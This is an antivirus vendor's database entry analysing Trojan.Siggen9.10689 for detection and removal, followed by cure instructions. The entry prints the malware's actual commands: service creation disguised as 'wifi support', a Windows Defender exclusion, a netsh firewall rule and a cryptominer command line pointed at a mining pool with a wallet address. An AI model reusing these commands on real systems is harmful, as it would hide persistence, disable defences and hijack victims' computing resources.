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Trojan.Siggen9.10689

Added to the Dr.Web virus database: 2020-02-11

Virus description added:

Technical Information

To ensure autorun and distribution
Creates the following services
  • [<HKLM>\System\CurrentControlSet\Services\vpmrfsil] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\vpmrfsil] 'ImagePath' = '%WINDIR%\SysWOW64\vpmrfsil\bjycpnww.exe /d"<Full path to file>"'
  • [<HKLM>\SYSTEM\CurrentControlSet\services\vpmrfsil] 'ImagePath' = '%WINDIR%\SysWOW64\vpmrfsil\bjycpnww.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
  • [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\vpmrfsil' = '00000000'
Executes the following
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
  • %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
  • %TEMP%\bjycpnww.exe
  • %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
  • from %TEMP%\bjycpnww.exe to %WINDIR%\syswow64\vpmrfsil\bjycpnww.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
  • http://www.google.com/
  • http://ap#.##-cy.ru:35000/ via ap#.#r-cy.ru
  • 'ma##.softub.nl':25
  • 'be##########.mail.protection.outlook.com':25
  • '18#.#65.238.150':431
  • '78.#1.67.23':431
  • '17#.#.114.177':431
  • '46.#.52.109':431
  • '46.#8.66.2':431
  • 'sm##.tin.it':25
  • 'da######ng.mail.yale.edu':25
  • 'so####2.sohu.com':25
  • 'po#####.domainstaff.com':25
  • 's1#.##stedmail.cc':25
  • 'bo####.splio.com':25
  • '43.#31.4.7':443
  • 'mx#######501.gslb.pphosted.com':25
  • 'au#######nbound-1.mimecast.com':25
  • 'ma##.soft.ua':25
  • 'ma##.#ccgmail.net':25
  • 'aspmx.l.google.com':25
  • 'pk########.mail.protection.outlook.com':25
  • 'cu#######-2.in.mailcontrol.com':25
  • 'sm###.gov.pe.ca':25
  • 'mt##.##0.yahoodns.net':25
  • '93.##9.69.109':431
  • 'so###########-br.mail.protection.outlook.com':25
  • 'alt2.gmail-smtp-in.l.google.com':25
  • 'ho#########.olc.protection.outlook.com':25
  • 'mx#.###l.yahoo.co.jp':25
  • 'mx###.##il.am0.yahoodns.net':25
  • 'mi####.bittubeapp.com':13333
  • '85.##4.134.88':487
  • 'mx###.expurgate.de':25
  • 'mx###.s.uw.edu':25
  • UDP
    • DNS ASK mi##########m.mail.protection.outlook.com
    • DNS ASK google.com
    • DNS ASK da######ng.mail.yale.edu
    • DNS ASK ya##.edu
    • DNS ASK cp#.pisa.it
    • DNS ASK to##to.com
    • DNS ASK be##########.mail.protection.outlook.com
    • DNS ASK be###ell.com
    • DNS ASK fa##.gov.au
    • DNS ASK ma##.softub.nl
    • DNS ASK so##ub.nl
    • DNS ASK mx#.###725-72.iphmx.com
    • DNS ASK po####.vic.gov.au
    • DNS ASK mx#######501.gslb.pphosted.com
    • DNS ASK dp#.#ld.gov.au
    • DNS ASK so####2.sohu.com
    • DNS ASK ag####uanglaw.com
    • DNS ASK mx.##.##mail.iss.as9143.net
    • DNS ASK bl####nder.co.uk
    • DNS ASK di########l1.msng.telstra.com.au
    • DNS ASK cu###ms.gov.au
    • DNS ASK mx#######e01.gslb.pphosted.com
    • DNS ASK di##old.com
    • DNS ASK ma##.soft.ua
    • DNS ASK so#t.ua
    • DNS ASK au#######nbound-1.mimecast.com
    • DNS ASK gr###ith.edu.au
    • DNS ASK ma####.#ewtekwebhosting.com
    • DNS ASK am###trade.com
    • DNS ASK ym##l.com
    • DNS ASK ge#####.rockefeller.edu
    • DNS ASK so###.com.ar
    • DNS ASK al###a.usc.edu
    • DNS ASK et###.#ail.tiscali.it
    • DNS ASK ti##ali.it
    • DNS ASK mx###.s.uw.edu
    • DNS ASK u.####ington.edu
    • DNS ASK mx###.expurgate.de
    • DNS ASK dp#.com
    • DNS ASK ma####lay8.nmsu.edu
    • DNS ASK nm##.edu
    • DNS ASK bo####.splio.com
    • DNS ASK sm###in.iol.it
    • DNS ASK io#.it
    • DNS ASK so###trak.com
    • DNS ASK so##.com
    • DNS ASK s1#.##stedmail.cc
    • DNS ASK di####source.com.hk
    • DNS ASK uo########.mail.protection.outlook.com
    • DNS ASK uo##sc.edu
    • DNS ASK po#####.domainstaff.com
    • DNS ASK an##fe.com
    • DNS ASK ap#.#r-cy.ru
    • DNS ASK mx#######901.gslb.pphosted.com
    • DNS ASK me###t.ucla.edu
    • DNS ASK em###.vccs.edu
    • DNS ASK mx######b2d01.pphosted.com
    • DNS ASK us.#bm.com
    • DNS ASK ALT2.ASPMX.L.GOOGLE.COM
    • DNS ASK co###oweb.com
    • DNS ASK co###al.co.tz
    • DNS ASK aspmx.l.google.com
    • DNS ASK th####ngfolks.com
    • DNS ASK ho######ternational.com.au
    • DNS ASK li##ro.it
    • DNS ASK mx.###.correos.es
    • DNS ASK co##eos.es
    • DNS ASK ma###.statefarm.com
    • DNS ASK st###farm.com
    • DNS ASK cl######.us.messagelabs.com
    • DNS ASK ba###est.com.au
    • DNS ASK alt2.gmail-smtp-in.l.google.com
    • DNS ASK gm##l.com
    • DNS ASK ho#########.olc.protection.outlook.com
    • DNS ASK ho##ail.com
    • DNS ASK mx#.#omcast.net
    • DNS ASK co##ast.net
    • DNS ASK mx.##ime.com.ar
    • DNS ASK so###########-br.mail.protection.outlook.com
    • DNS ASK mi####.bittubeapp.com
    • DNS ASK mx###.##il.am0.yahoodns.net
    • DNS ASK 19#.###.#11.95.cbl.abuseat.org
    • DNS ASK ya##o.gr
    • DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
    • DNS ASK mx#.###l.yahoo.co.jp
    • DNS ASK 19#.###.#11.95.zen.spamhaus.org
    • DNS ASK ya##o.co.jp
    • DNS ASK mx#.#resnan.net
    • DNS ASK 19#.###.#11.95.bl.spamcop.net
    • DNS ASK br##nan.net
    • DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
    • DNS ASK 19#.###.211.95.in-addr.arpa
    • DNS ASK sm####n.libero.it
    • DNS ASK nj###.umdnj.edu
    • DNS ASK co###tria.com
    • DNS ASK ma#####.#umanservices.gov.au
    • DNS ASK sm########dl21.scotiabank.com.mx
    • DNS ASK ma##.#ccgmail.net
    • DNS ASK rc###ail.net
    • DNS ASK hh###up.com.au
    • DNS ASK sm####n.inwind.it
    • DNS ASK in##nd.it
    • DNS ASK da###smyrna.com
    • DNS ASK he####.hosts.co.uk
    • DNS ASK bs####ersclub.co.uk
    • DNS ASK pk########.mail.protection.outlook.com
    • DNS ASK pk#.com.au
    • DNS ASK mx#.####2-33.ap.iphmx.com
    • DNS ASK na###nal.com.au
    • DNS ASK ce####link.gov.au
    • DNS ASK cu#######-2.in.mailcontrol.com
    • DNS ASK so####ade.com.br
    • DNS ASK sm###.gov.pe.ca
    • DNS ASK go#.pe.ca
    • DNS ASK un###ed.com.au
    • DNS ASK mx#######201.gslb.pphosted.com
    • DNS ASK aa#.com
    • DNS ASK sm##.tin.it
    • DNS ASK ti#.it
    • DNS ASK mt##.##0.yahoodns.net
    • DNS ASK ya###.com.ar
    • DNS ASK ta###r.com.mx
    • DNS ASK cl#######.us.messagelabs.com
    • DNS ASK we###fargo.com
    • DNS ASK ma##re.com
    • DNS ASK is###ila.com
    Miscellaneous
    Creates and executes the following
    • '%WINDIR%\syswow64\vpmrfsil\bjycpnww.exe' /d"<Full path to file>"
    • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\vpmrfsil\' (with hidden window)
    • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\bjycpnww.exe" %WINDIR%\SysWOW64\vpmrfsil\' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' create vpmrfsil binPath= "%WINDIR%\SysWOW64\vpmrfsil\bjycpnww.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' description vpmrfsil "wifi internet conection"' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' start vpmrfsil' (with hidden window)
    • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
    Executes the following
    • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\vpmrfsil\
    • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\bjycpnww.exe" %WINDIR%\SysWOW64\vpmrfsil\
    • '%WINDIR%\syswow64\sc.exe' create vpmrfsil binPath= "%WINDIR%\SysWOW64\vpmrfsil\bjycpnww.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
    • '%WINDIR%\syswow64\sc.exe' description vpmrfsil "wifi internet conection"
    • '%WINDIR%\syswow64\sc.exe' start vpmrfsil
    • '%WINDIR%\syswow64\svchost.exe'
    • '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs2vRiVmw72dvArkbJKbtz917RXckezk9W9STXQKq1SFKmQAbfF24KkWUNqxeNZHaDJftC49YzUhiDSPSYZtn1BR2R2Z3K3Fw.60000 -p x -k

    Curing recommendations

    1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
    2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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    1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
    2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
      • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
      • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
      • Switch off your device and turn it on as normal.

    Find out more about Dr.Web for Android

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